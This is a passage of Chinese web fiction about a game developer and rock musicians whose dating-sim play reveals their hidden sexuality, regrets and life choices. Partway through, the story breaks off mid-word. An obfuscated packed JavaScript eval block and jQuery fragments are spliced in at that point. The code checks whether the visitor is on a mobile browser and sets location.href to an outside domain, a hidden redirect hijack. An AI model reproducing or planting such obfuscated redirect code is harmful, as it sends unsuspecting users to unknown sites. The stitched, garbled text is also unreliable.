凌晨三点二十七分，黄万千的代码编辑器亮着幽幽蓝光。《心灵治愈：社交练习》的后台数据显示，ID"刚哥"又在重复刷咖啡店女老板的好感度剧情——这已经是第七十三次。
黄万千删掉了刚弹出的【异常行为警告】。他太清楚这个用户了：我死去的电动蛋黄乐队主唱，台上嘶吼时青筋暴起的样子被乐迷做成表情包，台下却住在公司安排的单身公寓，收藏了一柜子绝版百合漫画。
游戏日志暴露了一切：
凌晨两点购买999朵虚拟玫瑰
反复读取2月14日存档点
卡bug让女主拒绝所有男性NPC
最讽刺的是，这款为社交障碍者设计的治愈游戏，原本连"同性暧昧"的关键词都没加载。黄万千看着刚哥最新解锁的成就【永恒之女性】，想起上个月乐队采访里他说的话："观众爱的是会砸吉他的怪物，不是会为《死亡圣母颂》哭的gay。"
窗外传来垃圾车轰鸣声。黄万千突然调出咖啡店老板的原始代码——这个NPC是用他前女友的微表情数据合成的。
光标在删除键上悬停许久，最终他敲入新指令：
【if玩家选择"接受全部阴暗面"】
【then解锁隐藏剧情《荆棘之冠》】
按下保存时，黄万千瞥见刚哥的游戏头像：黑色剪影里隐约可见他脖子上那条李东京同款的狗牌银链，苏末晞也在直播中佩戴。
（三天后，游戏论坛爆出新版本彩蛋解析：当女主在雨中拥抱咖啡店老板时，背景会浮现刚哥乐队成名曲《八月十七》的乐谱——那是他唯一写给同性爱人的歌。）
游戏屏幕的光在黑暗中勾勒出刚哥的轮廓。他盯着显示器，手指悬停在键盘上，酒精让眼前的画面微微模糊。隐藏剧情在这一刻触发——女主角独自站在雨中，面前是咖啡店老板的墓碑。
"下辈子..."游戏中的女主角轻声说，"...我要光明正大爱一个人。"
刚哥的呼吸停滞了一瞬。这句话太熟悉了，熟悉到他的手指无意识地收紧，
游戏弹出选项：
【选择"形婚套餐"获得表面圆满】
【选择"荆棘之冠"接受全部代价】
他的鼠标在第一个选项上徘徊。这很容易，就像现实中公司给他安排的那样——找个女艺人假扮情侣，粉丝会欢呼，媒体会祝福，所有人都能得到他们想要的圆满故事。
可他的手指最终还是狠狠点了第二个选项。
屏幕骤然暗下，随后浮现出新的场景：女主角站在舞台上，聚光灯刺眼得像是要灼穿她的皮肤。台下是疯狂的欢呼声，而她的私信栏里，告白与死亡威胁交织，像是一场永不停歇的暴风雨。
"这特么叫特权？"刚哥对着屏幕冷笑，"这叫慢性自杀。"
游戏里的NPC服务员微笑回应："但您收获了名气和追随者，这是很多人求之不得的。"
刚哥猛地灌了一口酒。
是啊，一群连他是谁都搞不清楚的傻子。他们爱的是舞台上砸吉他的野兽，爱的是公司包装出来的硬汉形象，爱的是一个根本不存在的人。
而真正的他——那个会在深夜玩百合游戏、会在朱勇墓前喝到不省人事、会对着游戏剧情红了眼眶的男人——从来就不被允许存在。
游戏中的女主角突然转头，直视屏幕外的他。雨滴从她的脸颊滑落，像是眼泪。
"你选好了吗？"她问。
刚哥的手指颤抖了一下。他想起朱勇最后对他说的话："你比我勇敢，至少你敢在游戏里做自己。"
屏幕上的选项再次闪烁：
【继续伪装】
【撕下面具】
这一次，他没有犹豫。
（三天后，刚哥的乐队突然宣布解散。他在最后的演出上唱了一首从未公开过的歌，歌词只有一句："我终于敢在阳光下爱你。"）
屏幕里的蒸汽模糊了刚哥的视线。
那口"特权砂锅"被掀开的瞬间，他第一眼看到的是沉在汤底的那件旧校服——他第一次登台时穿的那件。蓝白相间的布料已经被染成了酱色，袖口还留着当年他用马克笔写的"去他妈的"四个字。
汤面上漂浮着被烟头烫穿的大专毕业证，边缘卷曲着，像极了他第一次收到演出费时烧掉的课本。
"这锅..."厨师搅动着汤勺，骨头和布料在浑浊的汤里翻滚，"...又咸又涩，得加三斤''人设调料''才能下咽。"
刚哥的手指悬在键盘上。
他想起第一次站在地下酒吧的聚光灯下，那件校服被汗水浸透的感觉；想起为了演出翘掉的期末考试，教授在电话里说"你迟早会后悔"；想起经纪人第一次递来"摇滚硬汉"人设方案时，他烧掉的那沓原创民谣谱子。
游戏弹出选项：
【加入"人设调料"】
【原味饮用】
他的鼠标在第一个选项上徘徊——这太简单了，就像这些年他在采访里重复了无数次的"我从小就喜欢砸东西"。
但汤锅里突然浮起一片布料，那是校服背后他用红笔画的笑脸，已经被洗得发白。
刚哥猛地点击了第二个选项。
角色仰头喝下热汤时，游戏里的他发出真实的咳嗽声。屏幕上渐渐浮现一行字：
"最初的滋味，总是最难咽下的真实。"
（第二天排练室，刚哥从旧箱子里翻出那件真正的校服。队友惊讶地看着他把"摇滚不死"的皮衣扔进垃圾桶，换上了这件泛黄的旧衣服。）
《未被选择的选项》
深夜的公寓里，刚哥、李东京、苏末晞、黄万千围在电脑前。屏幕上是《心灵治愈：社交练习》的最终界面——厨房场景里，那口砂锅依然冒着热气。
"这游戏..."刚哥灌了口啤酒，"...会占卜。"
他点击重新开始，游戏载入到最初的乙女恋爱界面。粉色的UI，温柔的音乐，看起来和市面上任何一款恋爱模拟器没什么不同。
但当剧情推进到第三章，女主角走进那间随机生成的厨房时，砂锅里浮现的东西让李东京的眉梢跳了跳——
炖在汤里的是他摩托车俱乐部的徽章，边缘已经被火焰灼黑。
"自由和孤独..."黄万千轻声念出屏幕上浮现的文字，"...往往是同一个套餐的两个名字。"
刚哥切到自己上次的存档。他的砂锅里沉浮着粉丝送的镶钻麦克风，汤面上漂着无数封"永远爱你"的信件，但每张纸都在慢慢溶解。
"粉丝的爱可以养活你..."刚哥的声音沙哑，"...也可以勒死你。"
李东京突然抢过鼠标，新建了一个角色。当他的游戏人物推开厨房门时，所有人都屏住了呼吸——
李东京的砂锅在屏幕上咕嘟作响。
那口混浊的汤里泡着他的中专毕业证书——纸页被颜料水染成了诡异的蓝紫色，就像当年他放弃美术专业时，倒进涮笔筒的那滩脏水。
苏末晞留下的脐环沉在锅底，银质环身上刻的"Tokyo"字样已经模糊。二十张"长腿模特优惠券"漂在汤面上，过期日期像一列嘲笑他的红色印章。
"这锅......"厨师用长勺搅动着，"苦味超标了，得加三斤''自我安慰''才能吃。"
游戏弹出选项：
【撒入"自我安慰"粉】
【直接喝下原汤】
李东京的指尖在鼠标上敲击，节奏和他第一次遇见苏末晞时，底鼓频率一模一样。
他选了原汤。
屏幕突然跳转到结账界面。服务员推来一张泛黄的账单：
「您今日消费——
·学业："自由绘画"×1（附赠贫穷关节炎）
·爱情："冲动消费"×1（女方已跑路）
·隐藏项："反规则税"（需用灵魂韧性支付）」
刚哥凑过来念出底部的小字：
"选''艺术''的都会穷，但穷的方式各有各的浪漫。"
黄万千突然笑出声："''一见钟情''保质期只有分娩前？这文案是我用硅脑模拟的人工神经网络自动生成的，但这也太现实了吧，这也让我开始思考从哲学的角度来说，当旧的意义框架开始剥落，我是否该主动跃入新的诠释系统？你也别太当真了，其实这游戏处于价值体系批判重构的可能性评估价段......"
但李东京盯着最后一行字出神："所有''不按规则''的人，最后都成了别人的规则。"
他的摩托车钥匙在掌心发烫——那上面挂着的，正是和苏末晞脐环同款的银链。
（后来李东京的哈雷后座永远空着，但工具箱里多了套素描本；刚哥在歌词本扉页写下"苦味是最久的回甘"；而黄万千在游戏代码里藏了个彩蛋——连续点击账单三次，会播放李东京当年在美术班的录音："我他妈才不要画石膏像！"或许该对既有认知范式进行一场祛魅，让精神重获选择的自由。开发者黄万千如是说）
屏幕上缓缓浮现最后一条真理：
"所有没选的选项，都会变成梦里的刺。"
苏末晞的砂锅里没有热汤，只有一盘色彩斑斓却混乱不堪的"辍学者迷茫沙拉"。
她戳着盘子里那些配料：
表演系课本的碎片，边缘还沾着当年退学申请书的蓝色墨水
被吉他弦划烂的微积分公式，纸页上还留着用力过猛的划痕
音乐理论作业的涂鸦，角落里画着个吊死的小人
"社会偏见辣酱"浇上去的瞬间，她的喉咙已经开始发紧。
"早知道..."她喃喃自语，叉子在沙拉里搅动，"...该把大学读完？不对，专心搞音乐？等等，学理科是不是更..."
服务员适时递上主菜单：
「冒险者定制套餐」
可选伴侣：
A.忧郁诗人（每日限量供应情话，副作用：凌晨三点收遗书）
B.摇滚乐手（演出日激情无限，日常需投喂抗抑郁药）
C.天才程序员（经济适用型浪漫，恋爱协议需GitHub公证）
"能不能....三个都要？"
服务员的面具"咔"地裂开一道缝："本店不支持多人套餐，除非您想触发''修罗场结局''。"
甜点单更令人窒息：
「轮回后悔药」
重回大学（代价：手指失去拨弦记忆）
专注摇滚（代价：家庭相册自动焚毁）
嫁给稳定（代价：眼角膜逐渐蒙上灰色滤镜）
"这哪是甜点..."苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949945|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
末晞把勺子捏弯，"...分明是砒霜拌白糖。"
最后端上的是杯诡异的鸡尾酒。
基底是40ml"辍学的不甘"，混合20ml"艺术生的浪漫"，漂浮的冰块里冻着"理科生的逻辑"公式。杯口插着燃烧的吉他拨片，火苗映在她瞳孔里。
她一饮而尽，喉间滚过灼热的苦涩。
"啧..."苏末晞擦掉嘴角的酒渍，"...怎么喝起来像''什么都想要，但什么都得不到''的味道？"
（游戏自动存档，一行小字："所有选择都是错的——所以所有选择也都对。"）
房间里安静得只剩电脑风扇的嗡鸣。
"砰！"
游戏中传来巨响，游戏中一个酷似刚哥的人戴着厨师帽暴躁地踹开门："那个点''冒险套餐''的女巫！你的''忧郁诗人''和''摇滚乐手''在后厨打起来了！"
诗人抓着破酒瓶，乐手抡着吉他，两人正为"谁更配得上苏末晞的灵魂"打得不可开交。番茄酱和面粉撒了一地，像场荒诞的行为艺术。
游戏中一个酷似李东京的角色说"需要调解吗？我擅长超度冲突。"
"不用，让他们打，谁赢了我选谁。"
服务员适时递上账单：
「您今日消费——
·前菜："迷茫"×1（附赠终身焦虑会员卡）
·主菜："选择困难"×3（触发修罗场加收20%业力）
·甜点："后悔"无限续杯（本店招牌）
·饮料："人生混沌特调"（后劲持续三辈子）」
账单背面印着烫金守则：
1.选择困难者请直接点"随机套餐"
2.轮回赊账利息按灵魂磨损度计算
3.本店不提供"完美人生"——厨师还没修到那境界
苏末晞的指尖停在签名处。她忽然瞥见一行小字，像是被餐刀刻上去的："朱勇3:55批注：其实可以三个都要，只要你不怕被雷劈。"
"哈！"
"等我把人生过成摇滚Live，"高跟鞋踩碎玻璃杯，"忧郁诗人和程序员自然会来当伴舞！"
刚哥的厨师帽飞了出去，露出底下那撮叛逆的粉发；李东京的烟掉在地上，火星溅成星星；黄万千的游戏屏幕突然弹出新成就：【解锁隐藏结局：混沌女王】。
刚哥突然笑起来，举起酒瓶："敬他妈的人生DLC。"
黄万千默默调出代码界面，在游戏结局里加了一行新指令：
【if玩家观看结局超过3次】
【then解锁隐藏功能"重新选择"】
游戏屏幕闪烁着，苏末晞的角色卡在黑暗中缓缓展开——
【苏末晞·人生拼图】
"所有未选择的路，都会在梦里长出荆棘"
【表演系人格碎片】
卡面图案：半张被墨水染脏的舞台面具
属性：
渴望被聚光灯看见
抗拒被角色定义
特殊效果：
当遇到他人期待时，有50%概率触发【即兴发挥】，50%概率触发【毁约逃跑】
【理科生人格碎片】
卡面图案：被吉他弦割裂的微积分试卷
属性：
需要逻辑带来的安全感
恐惧公式化的枯燥
特殊效果：
面临选择时，可发动【理性分析】，但每使用一次会累积10%【灵魂枯燥值】
【音乐人人格碎片】
卡面图案：燃烧的乐谱上浮现银行催款单
属性：
追求创作自由
贫穷debuff持续生效
特殊效果：
在夜晚场景自动播放【失眠伴奏曲】，有极小概率爆出【天才灵感】
游戏内互动事件：
△当玩家点击【表演系碎片】
游戏弹出回忆画面：
大学汇报演出时，女主突然撕掉剧本
台下教授摇头："连角色都当不好，怎么当自己？"
△当玩家点击【理科生碎片】
系统提示：
"检测到未完成的微积分作业——"
"是否转换为【和弦计算公式】？"
△当玩家点击【音乐人碎片】
背景音乐突然切到地下Live现场：
欢呼声中夹杂房东催租短信提示音
手机屏幕亮起："本月花呗待还：3,842元"
隐藏机制：
当三张碎片同时在背包时，可合成特殊道具：
【混沌摇滚徽章】
让所有定义你的标签自动粉碎
（刚哥的游戏中，这个徽章被他别在了虚拟皮衣上同时解锁了这个会这样的玩家还能够获得STEAM全球成就中的一个黄金成就；而现实中的苏末晞，把它纹在了右手腕内侧——每次弹吉他时都会若隐若现）
（三个月后，黄万千的游戏获得了"最佳心理健康奖"——获奖感言只有一句："有时候，游戏比人生更宽容。"
苏末晞的乐队真的多了个写程序的贝斯手和念哲学诗的键盘手。每次谢幕时，他们都会一起踩碎舞台上的塑料酒杯——那是人生餐厅特供款的仿制品。）